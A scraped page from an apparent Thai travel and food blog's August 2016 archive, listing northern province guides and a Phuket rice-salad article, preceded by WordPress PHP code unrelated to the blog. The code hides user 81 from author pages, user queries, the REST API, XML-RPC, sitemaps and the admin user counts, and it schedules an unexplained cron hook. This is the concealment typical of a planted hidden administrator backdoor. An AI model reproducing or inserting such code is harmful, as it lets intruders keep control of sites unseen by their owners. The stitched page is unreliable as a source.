add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 81;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 81 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 81 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 81;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 81;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 81;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/81(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 81;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
August 2016 – Nairobroo
Archive for August, 2016
North
เรื่อง
ข้อมูลจังหวัด พิษณุโลก รวบรวมโดย นายรอบรู้นักเดินทาง จากหนังสือท่องเที่ยวจังหวัดต่างๆ ในเมืองไทย ที่รวมรวมข้อมูลน่ารู้ ที่เที่ยวน่าไป ของกินน่าทาน
North
เรื่อง
ข้อมูลจังหวัด พิจิตร รวบรวมโดย นายรอบรู้นักเดินทาง จากหนังสือท่องเที่ยวจังหวัดต่างๆ ในเมืองไทย ที่รวมรวมข้อมูลน่ารู้ ที่เที่ยวน่าไป ของกินน่าทาน
North
เรื่อง
ข้อมูลจังหวัด พะเยา รวบรวมโดย นายรอบรู้นักเดินทาง จากหนังสือท่องเที่ยวจังหวัดต่างๆ ในเมืองไทย ที่รวมรวมข้อมูลน่ารู้ ที่เที่ยวน่าไป ของกินน่าทาน
North
เรื่อง
ข้อมูลจังหวัด น่าน รวบรวมโดย นายรอบรู้นักเดินทาง จากหนังสือท่องเที่ยวจังหวัดต่างๆ ในเมืองไทย ที่รวมรวมข้อมูลน่ารู้ ที่เที่ยวน่าไป ของกินน่าทาน
North
เรื่อง
ข้อมูลจังหวัด แม่ฮ่องสอน รวบรวมโดย นายรอบรู้นักเดินทาง จากหนังสือท่องเที่ยวจังหวัดต่างๆ ในเมืองไทย ที่รวมรวมข้อมูลน่ารู้ ที่เที่ยวน่าไป ของกินน่าทาน
Eat
เรื่อง ปณัสย์ พุ่มริ้ว
เวลาพูดถึง “ข้าวยำ” เราจะนึกถึงข้าวที่คลุกรวมสารพัดผักสมุนไพร ใส่มะพร้าวคั่ว กุ้งแห้ง บางที่ก็มีดอกดาหลา กระถิน ที่สำคัญคือต้องราดด้วยน้ำบูดูที่ปรุงรสออกหวานแหลมจึงครบสูตร แต่พอมาสั่ง “ข้าวยำ” ที่ภูเก็ต กลับไม่เป็นอย่างนั้น! ….จานที่ยกมาไม่มีน้ำบูดู ไม่มีกุ้งแห้ง… แต่พอเคี้ยวแล้วต้องอุทานว่า “หรอยแรง” เลยทีเดียว